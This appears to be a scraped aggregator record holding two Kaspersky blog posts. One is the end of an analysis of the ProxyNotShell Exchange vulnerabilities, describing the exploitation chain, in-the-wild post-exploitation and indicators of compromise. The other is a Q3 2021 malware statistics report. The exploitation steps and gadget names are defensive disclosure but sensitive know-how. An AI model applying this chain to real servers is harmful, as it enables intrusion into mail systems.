vulnerabilities affect MS Exchange Server 2013, MS Exchange Server 2016 and MS Exchange Server 2019.\n\nOn October 11, 2022, Microsoft released patches to cover these vulnerabilities as part of its Patch Tuesday update. After that, on November 17, a security researcher published the first working PoC. It was a Python script that accepts the following parameters: user, password, mail address and command line to be executed on the victim's host.\n\nThe cybersecurity community dubbed the pair of vulnerabilities **ProxyNotShell**. The name refers to a recent ProxyShell attack chain containing similar vulnerabilities in Exchange Servers that were disclosed in 2021. ProxyShell is a set of three vulnerabilities: CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207. Attackers used them to create web shells and execute arbitrary code on vulnerable Microsoft Exchange Servers.\n\n## ProxyNotShell exploitation details\n\nThe first step in this attack is exploiting **CVE-2022-41040** to get access to the PowerShell API endpoint. Using an insufficient filtering of input data in the Exchange **Autodiscover** mechanism, an attacker with a known login and password combination for a registered account, can gain access to the privileged endpoint of the Exchange Server API (**https://%_exchange server domain%_/powershell)**. This access allows the attacker to execute PowerShell commands in Exchange's environment on the server machine, passing them in the payload via the XML SOAP protocol.\n\nAt the next step, the attacker must get access to **Web-Based Enterprise Management (WBEM)** via the **WSMAN Protocol**. The attacker initiates the shell on the vulnerable system for further PowerShell script execution via **Windows Remote Management (PsRemoting)**.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083206/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_01.png>)\n\n**_HTTP POST request with XML SOAP to initiate PsRemoting_**\n\nAfter initiation of the shell, the attacker should immediately extend its lifetime; otherwise, the shell will be closed as its expiration time is too short by default. This is necessary for further command execution on Exchange Server. To do that the attacker immediately sends a special request via **WSMAN** that enables the **keep alive** option.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083245/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_02.png>)\n\n**_HTTP POST request with XML SOAP to extend the shell's lifetime_**\n\nAfter that, the attacker exploits a second vulnerability \u2013 **CVE-2022-41082**. By using PowerShell Remoting the attacker sends a request to create an address book, passing encoded and serialized data with a special payload as a parameter. In a published PoC, this encoded data contains a gadget called **System.UnitySerializationHolder** that spawns an object of the **System.Windows.Markup.XamlReader** class. This class processes XAML data from a payload, which creates a new object of the **System.Diagnostics** class and contains a method call to open a new process on the target system. In the published PoC, this process is **calc.exe**.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083322/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_03.png>)\n\n**_HTTP POST request with XML SOAP to start new process_**\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083400/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_04.png>)\n\n**_Main payload portion that executes the calc.exe process_**\n\n## ProxyNotShell post exploitation\n\nA few weeks later after the vulnerability was disclosed, Kaspersky detected a successful exploitation of **ProxyNotShell** in the wild. The actor performed the following actions:\n\n * Reconnaissance (users, groups, domains)\n * Various hijack attempts (even dropping vulnerable binaries)\n * Remote process injection\n * Persistence\n * Reverse shell\n\nIn this case, the attacker had the credentials to perform such an intrusion. They exploited the company's Exchange Server and as a result were able to create any process they wanted on the Exchange machine, passing commands as a payload.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19095522/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_05.png>)\n\nOn the server side all processes that are started via exploitation have a main parent process with certain parameters: **w3wp.exe -ap "msexchangepowershellapppool".**\n\nThese post-exploitation steps of the attack are very similar to the steps in the attack reported by [TrendMicro](<https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.trendmicro.com%2Fpl_pl%2Fresearch%2F22%2Fg%2Flog4shell-vulnerability-in-vmware-leads-to-data-exfiltration-and-ransomware.html&data=05%7C01%7Cmapp%40microsoft.com%7C6ea0cb7fcd7d4d2ea92808dab12e25ff%7C72f988bf86f141af91ab2d7cd011db47%7C1%7C0%7C638017110445189023%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000%7C%7C%7C&sdata=O5D%2B8%2BG%2F%2BthCuhizLONIBuphB6uNAL%2Fp%2BrWWkWfQGa0%3D&reserved=0>), with the only difference being the vulnerabilities that are exploited.\n\nOur products protect against all of these post exploitation steps as well as other attacks leveraging the **CVE-2022-41040** and **CVE-2022-41082** vulnerabilities. The detection name for **ProxyNotShell** is **PDM:Exploit.Win32.Generic**.\n\n## Our recommendations\n\nA few words of advice to those worried about possible exploitation of ProxyNotShell or other 0-day vulnerabilities:\n\n * Focus your defense strategy on detecting lateral movement and data exfiltration to the internet. Pay special attention to outgoing traffic to detect cybercriminal connections.\n * Use the latest [Threat Intelligence](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) data to stay aware of actual TTPs used by threat actors.\n * Use a security solution with exploit prevention, vulnerability and patch management components, such as Kaspersky Endpoint Security for Business. Our [Exploit Prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) component monitors suspicious actions by applications and blocks the execution of malicious files.\n * Use solutions like [Kaspersky Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>) and [Kaspersky Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) that identify and stop attacks in the early stages.\n\n## Indicators of compromise\n\nF77E55FD56FDAD21766CAA9C896734E9 | LockDown.dll | Malware hijack library | Trojan.Win64.Dllhijacker \n---|---|---|--- \nF9322EAD69300501356B13D751165DAA | mfeann.exe | Dropped vulnerable binary for DLL hijack | PDM:Exploit.Win32.Generic \nA2FAE32F116870E5A94B5FAB50A1CB71 | Svchosts.exe | Malware reverse proxy | Trojan.Win64.Agent.qwibok \nHEUR:HackTool.Win64.Proxy.gen \n47A0814408210E6FCA502B3799B3952B | Glib-2.0.dll | Malware hijack library | Trojan.Win64.Dllhijacker \n379F87DAA6A23400ADF19C1CDD6B0DC9 | vmwarexferlogs.exe | Dropped vulnerable binary for DLL hijack | PDM:Exploit.Win32.Generic \n193.149.185.52:443 | \u04212 server \nsync.service.auzreservices.com | \u04212 server", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-19T16:15:49", "type": "securelist", "title": "CVE-2022-41040 and CVE-2022-41082 \u2013 zero-days in MS Exchange", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-12-19T16:15:49", "id": "SECURELIST:0D5B4F09314C45AF952E2FD68F88B8D0", "href": "https://securelist.com/cve-2022-41040-and-cve-2022-41082-zero-days-in-ms-exchange/108364/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-26T12:37:38", "description": "\n\n * [IT threat evolution Q3 2021](<https://securelist.com/it-threat-evolution-q3-2021/104876/>)\n * **IT threat evolution in Q3 2021. PC statistics**\n * [IT threat evolution in Q3 2021. Mobile statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-mobile-statistics/105020/>)\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q3 2021:\n\n * Kaspersky solutions blocked 1,098,968,315 attacks from online resources across the globe.\n * Web Anti-Virus recognized 289,196,912 unique URLs as malicious.\n * Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 104,257 unique users.\n * Ransomware attacks were defeated on the computers of 108,323 unique users.\n * Our File Anti-Virus detected 62,577,326 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q3 2021, Kaspersky solutions blocked the launch of at least one piece of banking malware on the computers of 104,257 unique users.\n\n_Number of unique users attacked by financial malware, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150303/01-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Geography of financial malware attacks**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150355/02-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 5.4 \n2 | Tajikistan | 3.7 \n3 | Afghanistan | 3.5 \n4 | Uzbekistan | 3.0 \n5 | Yemen | 1.9 \n6 | Kazakhstan | 1.6 \n7 | Paraguay | 1.6 \n8 | Sudan | 1.6 \n9 | Zimbabwe | 1.4 \n10 | Belarus | 1.1 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 17.7 \n2 | SpyEye | Trojan-Spy.Win32.SpyEye | 17.5 \n3 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 9.6 \n4 | Trickster | Trojan.Win32.Trickster | 4.5 \n5 | RTM | Trojan-Banker.Win32.RTM | 3.6 \n6 | Nimnul | Virus.Win32.Nimnul | 3.0 \n7 | Gozi | Trojan-Banker.Win32.Gozi | 2.7 \n8 | Danabot | Trojan-Banker.Win32.Danabot | 2.4 \n9 | Tinba | Trojan-Banker.Win32.Tinba | 1.5 \n10 | Cridex | Backdoor.Win32.Cridex | 1.3 \n \n_* Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\nIn Q3, the family ZeuS/Zbot (17.7%), as usual, became the most widespread family of bankers. Next came the SpyEye (17.5%) family, whose share doubled from 8.8% in the previous quarter. The Top 3 was rounded out by the CliptoShuffler family (9.6%) \u2014 one position and just 0.3 p.p. down. The families Trojan-Banker.Win32.Gozi (2.7%) and Trojan-Banker.Win32.Tinba (1.5%) have made it back into the Top 10 in Q3 \u2014 seventh and ninth places, respectively.\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n#### Attack on Kaseya and the REvil story\n\nIn early July, the group REvil/Sodinokibi [attempted an attack](<https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/>) on the remote administration software Kaseya VSA, compromising several managed services providers (MSP) who used this system. Thanks to this onslaught on the supply chain, the attackers were able to infect over one thousand of the compromised MSPs' client businesses. REvil's original $70 million ransom demand in exchange for decryption of all the users hit by the attack was soon moderated to 50 million.\n\nFollowing this massive attack, law enforcement agencies stepped up their attention to REvil, so by mid-July the gang turned off their Trojan infrastructure, suspended new infections and dropped out of sight. Meanwhile, Kaseya got a universal decryptor for all those affected by the attack. [According to](<https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-August-4th-2021>) Kaseya, it "did not pay a ransom \u2014 either directly or indirectly through a third party". Later [it emerged](<https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html>) that the company got the decryptor and the key from the FBI.\n\nBut already in the first half of September, REvil was up and running again. [According to](<https://www.bleepingcomputer.com/news/security/revil-ransomware-is-back-in-full-attack-mode-and-leaking-data/>) the hacking forum XSS, the group's former public representative known as UNKN "disappeared", and the malware developers, failing to find him, waited awhile and restored the Trojan infrastructure from backups.\n\n#### The arrival of BlackMatter: DarkSide restored?\n\nAs we already wrote in our Q2 report, the group DarkSide folded its operations after their "too high-profile" attack on Colonial Pipeline. And now there is a "new" arrival known as BlackMatter, which, as its members [claim](<https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil>), represents the "best" of DarkSide, REvil and LockBit.\n\nFrom our analysis of the BlackMatter Trojan's executable we conclude that most likely it was built using DarkSide's source codes.\n\n#### Q3 closures\n\n * Europol and the Ukrainian police have [arrested](<https://www.europol.europa.eu/newsroom/news/ransomware-gang-arrested-in-ukraine-europol's-support>) two members of an unnamed ransomware gang. The only detail made known is that the ransom demands amounted to \u20ac5 to \u20ac70 million.\n * Following its attack on Washington DC's Metropolitan Police Department, the group Babuk folded (or just suspended) its operations and published an archive containing the Trojan's source code, build tools and keys for some of the victims.\n * At the end of August, Ragnarok (not to be confused with RagnarLocker) suddenly called it a day, deleted all their victims' info from their portal and published the master key for decryption. The group gave no reasons for this course of action.\n\n#### Exploitation of vulnerabilities and new attack methods\n\n * The group HelloKitty used to distribute its ransomware by exploiting the vulnerability CVE-2019-7481 in SonicWall gateways.\n * Magniber and Vice Society penetrated the target systems by exploiting the vulnerabilities from the PrintNightmare family (CVE-2021-1675, CVE-2021-34527, CVE-2021-36958).\n * The group LockFile exploited ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) to penetrate the victim's network; for lateral expansion they relied on the new PetitPotam attack that gained control of the domain controller.\n * The group Conti also used ProxyShell exploits for its attacks.\n\n### Number of new ransomware modifications\n\nIn Q3 2021, we detected 11 new ransomware families and 2,486 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q3 2020 \u2014 Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150433/03-en-ru-es-malware-report-q3-2021-pc-graphs.png>))_\n\n## Number of users attacked by ransomware Trojans\n\nIn Q3 2021, Kaspersky products and technologies protected 108,323 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150459/04-en-malware-report-q3-2021-pc-graphs.png>))_\n\n## Geography of ransomware attacks\n\n_Geography of attacks by ransomware Trojans, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150535/05-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 1.98 \n2 | Uzbekistan | 0.59 \n3 | Bolivia | 0.55 \n4 | Pakistan | 0.52 \n5 | Myanmar | 0.51 \n6 | China | 0.51 \n7 | Mozambique | 0.51 \n8 | Nepal | 0.48 \n9 | Indonesia | 0.47 \n10 | Egypt | 0.45 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000). \n** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n## Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | Stop/Djvu | Trojan-Ransom.Win32.Stop | 27.67% \n2 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 17.37% \n3 | WannaCry | Trojan-Ransom.Win32.Wanna | 11.84% \n4 | (generic verdict) | Trojan-Ransom.Win32.Gen | 7.78% \n5 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 5.58% \n6 | (generic verdict) | Trojan-Ransom.Win32.Phny | 5.57% \n7 | PolyRansom/VirLock | Virus.Win32.Polyransom / Trojan-Ransom.Win32.PolyRansom | 2.65% \n8 | (generic verdict) | Trojan-Ransom.Win32.Agent | 2.04% \n9 | (generic verdict) | Trojan-Ransom.MSIL.Encoder | 1.07% \n10 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 1.04% \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new miner modifications\n\nIn Q3 2021, Kaspersky solutions detected 46,097 new modifications of miners.\n\n_Number of new miner modifications, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150605/06-en-malware-report-q3-2021-pc-graphs.png>))_\n\n### Number of users attacked by miners\n\nIn Q3, we detected attacks using miners on the computers of 322,131 unique users of Kaspersky products worldwide. And while during Q2 the number of attacked users gradually decreased, the trend was reversed in July and August 2021. With slightly over 140,000 unique users attacked by miners in July, the number of potential victims almost reached 150,000 in September.\n\n_Number of unique users attacked by miners, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150635/07-en-malware-report-q3-2021-pc-graphs.png>))_\n\n### Geography of miner attacks\n\n_Geography of miner attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150710/08-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Ethiopia | 2.41 \n2 | Rwanda | 2.26 \n3 | Myanmar | 2.22 \n4 | Uzbekistan | 1.61 \n5 | Ecuador | 1.47 \n6 | Pakistan | 1.43 \n7 | Tanzania | 1.40 \n8 | Mozambique | 1.34 \n9 | Kazakhstan | 1.34 \n10 | Azerbaijan | 1.27 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000). \n** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\n### Quarter highlights\n\nMuch clamor was caused in Q3 by a whole new family of vulnerabilities in Microsoft Windows printing subsystem, one already known to the media as PrintNightmare: [CVE-2021-1640](<https://nvd.nist.gov/vuln/detail/CVE-2021-1640>), [CVE-2021-26878](<https://nvd.nist.gov/vuln/detail/CVE-2021-26878>), [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), [CVE-2021-36936](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36936>), [CVE-2021-36947](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36947>), [CVE-2021-34483](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>). All those vulnerabilities allow for local escalation of privileges or remote execution of commands with system rights and, as they require next to nothing for exploitation, they are often used by popular mass infection tools. To fix them, several Microsoft patches are required.\n\nThe vulnerability known as PetitPotam proved no less troublesome. It allows an unprivileged user to take control of a Windows domain computer \u2014 or even a domain controller \u2014 provided the Active Directory certificate service is present and active.\n\nIn the newest OS Windows 11, even before its official release, the vulnerability [CVE-2021-36934](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>) was detected and dubbed HiveNightmare/SeriousSam. It allows an unprivileged user to copy all the registry threads, including SAM, through the shadow copy mechanism, potentially exposing passwords and other critical data.\n\nIn Q3, attackers greatly favored exploits targeting the vulnerabilities ProxyToken, ProxyShell and ProxyOracle ([CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), [CVE-2021-33766](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766>), [CVE-2021-31195](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195>), [CVE-2021-31196](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196>)). If exploited in combination, these open full control of mail servers managed by Microsoft Exchange Server. We already covered [similar vulnerabilities](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) \u2014 for instance, they were used in a HAFNIUM attack, also targeting Microsoft Exchange Server.\n\nAs before, server attacks relying on brute-forcing of passwords to various network services, such as MS SQL, RDP, etc., stand out among Q3 2021 network threats. Attacks using the exploits EternalBlue, EternalRomance and similar are as popular as ever. Among the new ones is the grim vulnerability enabling remote code execution when processing the Object-Graph Navigation Language in the product Atlassian Confluence Server ([CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>)) often used in various corporate environments. Also, Pulse Connect Secure was found to contain the vulnerability [CVE-2021-22937](<https://nvd.nist.gov/vuln/detail/CVE-2021-22937>), which however requires the administrator password for it to be exploited.\n\n### Statistics\n\nAs before, exploits for Microsoft Office vulnerabilities are still leading the pack in Q3 2021 (60,68%). These are popular due to the large body of users, most of whom still use older versions of the software, thus making the attackers' job much easier. The share of Microsoft Office exploits increased by almost 5 p.p. from the previous quarter. Among other things, it was due to the fact that the new vulnerability [CVE-2021-40444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444>) was discovered in the wild, instantly employed to compromise user machines. The attacker can exploit it by using the standard functionality that allows office documents to download templates, implemented with the help of special ActiveX components. There is no proper validation of the processed data during the operation, so any malicious code can be downloaded. As you are reading this, the relevant security update is already available.\n\nThe way individual Microsoft Office vulnerabilities are ranked by the number of detections does not change much with time: the first positions are still shared by [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>) and [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>), with another popular vulnerability [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>) not far behind. We already covered these many times \u2014 all the above-mentioned vulnerabilities execute commands on behalf of the user and infect the system.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151038/09-en-malware-report-q3-2021-pc-graphs.png>))_\n\nThe share of exploits for the popular browsers fell by 3 p.p. from the previous reporting period to 25.57% in Q3. In the three months covered by the report several vulnerabilities were discovered in Google Chrome browser and its script engine V8 \u2014 some of them in the wild. Among these, the following JavaScript engine vulnerabilities stand out: [CVE-2021-30563](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>) (type confusion error corrupting the heap memory), [CVE-2021-30632](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) (out-of-bounds write in V8) and [CVE-2021-30633](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) (use-after-free in Indexed DB). All these can potentially allow remote execution of code. But it should be remembered that for modern browsers a chain of several exploits is often required to leave the sandbox and secure broader privileges in the system. It should also be noted that with Google Chromium codebase (in particular the Blink component and V8) being used in many browsers, any newly detected Google Chrome vulnerability automatically makes other browsers built with its open codebase vulnerable.\n\nThe third place if held by Google Android vulnerabilities (5.36%) \u2014 1 p.p. down from the previous period. They are followed by exploits for Adobe Flash (3.41%), their share gradually decreasing. The platform is no longer supported but is still favored by users, which is reflected in our statistics.\n\nOur ranking is rounded out by vulnerabilities for Java (2.98%), its share also noticeably lower, and Adobe PDF (1.98%).\n\n## Attacks on macOS\n\nWe will remember Q3 2021 for the two interesting revelations. The first one is the use of [malware code targeting macOS](<https://securelist.com/wildpressure-targets-macos/103072/>) as part of the WildPressure campaign. The second is the detailed [review of the previously unknown FinSpy implants](<https://securelist.com/finspy-unseen-findings/104322/>) for macOS.\n\nSpeaking of the most widespread threats detected by Kaspersky security solutions for macOS, most of our Top 20 ranking positions are occupied by various adware apps. Among the noteworthy ones is Monitor.OSX.HistGrabber.b (second place on the list) \u2014 this potentially unwanted software sends user browser history to its owners' servers.\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.j | 13.22 \n2 | Monitor.OSX.HistGrabber.b | 11.19 \n3 | AdWare.OSX.Pirrit.ac | 10.31 \n4 | AdWare.OSX.Pirrit.o | 9.32 \n5 | AdWare.OSX.Bnodlero.at | 7.43 \n6 | Trojan-Downloader.OSX.Shlayer.a | 7.22 \n7 | AdWare.OSX.Pirrit.gen | 6.41 \n8 | AdWare.OSX.Cimpli.m | 6.29 \n9 | AdWare.OSX.Bnodlero.bg | 6.13 \n10 | AdWare.OSX.Pirrit.ae | 5.96 \n11 | AdWare.OSX.Agent.gen | 5.65 \n12 | AdWare.OSX.Pirrit.aa | 5.39 \n13 | Trojan-Downloader.OSX.Agent.h | 4.49 \n14 | AdWare.OSX.Bnodlero.ay | 4.18 \n15 | AdWare.OSX.Ketin.gen | 3.56 \n16 | AdWare.OSX.Ketin.h | 3.46 \n17 | Backdoor.OSX.Agent.z | 3.45 \n18 | Trojan-Downloader.OSX.Lador.a | 3.06 \n19 | AdWare.OSX.Bnodlero.t | 2.80 \n20 | AdWare.OSX.Bnodlero.ax | 2.64 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\n### Geography of threats for macOS\n\n_Geography of threats for macOS, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151108/10-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | France | 3.05 \n2 | Spain | 2.85 \n3 | India | 2.70 \n4 | Mexico | 2.59 \n5 | Canada | 2.52 \n6 | Italy | 2.42 \n7 | United States | 2.37 \n8 | Australia | 2.23 \n9 | Brazil | 2.21 \n10 | United Kingdom | 2.12 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000). \n** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q3 2021, France took the lead having the greatest percentage of attacks on users of Kaspersky security solutions (3.05%), with the potentially unwanted software Monitor.OSX.HistGrabber being the prevalent threat there. Spain and India came in second and third, with the Pirrit family adware as their prevalent threat.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q3 2021, most of the devices that attacked Kaspersky honeypots did so using the Telnet protocol. Just less than a quarter of all devices attempted brute-forcing our traps via SSH.\n\nTelnet | 76.55% \n---|--- \nSSH | 23.45% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q3 2021_\n\nThe statistics for working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 84.29% \n---|--- \nSSH | 15.71% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q3 2021_\n\n**Top 10 threats delivered to IoT devices via Telnet**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 39.48 \n2 | Trojan-Downloader.Linux.NyaDrop.b | 20.67 \n3 | Backdoor.Linux.Agent.bc | 10.00 \n4 | Backdoor.Linux.Mirai.ba | 8.65 \n5 | Trojan-Downloader.Shell.Agent.p | 3.50 \n6 | Backdoor.Linux.Gafgyt.a | 2.52 \n7 | RiskTool.Linux.BitCoinMiner.b | 1.69 \n8 | Backdoor.Linux.Ssh.a | 1.23 \n9 | Backdoor.Linux.Mirai.ad | 1.20 \n10 | HackTool.Linux.Sshbru.s | 1.12 \n \n_* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats._\n\nDetailed IoT threat statistics are published in our Q3 2021 DDoS report: <https://securelist.com/ddos-attacks-in-q3-2021/104796/#attacks-on-iot-honeypots>\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that serve as sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted._\n\nIn Q3 2021, Kaspersky solutions blocked 1,098,968,315 attacks launched from online resources located across the globe. Web Anti-Virus recognized 289,196,912 unique URLs as malicious.\n\n_Distribution of web-attack sources by country, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151328/13-en-malware-report-q3-2021-pc-graphs-1.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| **Country*** | **% of attacked users**** \n---|---|--- \n1 | Tunisia | 27.15 \n2 | Syria | 17.19 \n3 | Yemen | 17.05 \n4 | Nepal | 15.27 \n5 | Algeria | 15.27 \n6 | Macao | 14.83 \n7 | Belarus | 14.50 \n8 | Moldova | 13.91 \n9 | Madagascar | 13.80 \n10 | Serbia | 13.48 \n11 | Libya | 13.13 \n12 | Mauritania | 13.06 \n13 | Mongolia | 13.06 \n14 | India | 12.89 \n15 | Palestine | 12.79 \n16 | Sri Lanka | 12.76 \n17 | Ukraine | 12.39 \n18 | Estonia | 11.61 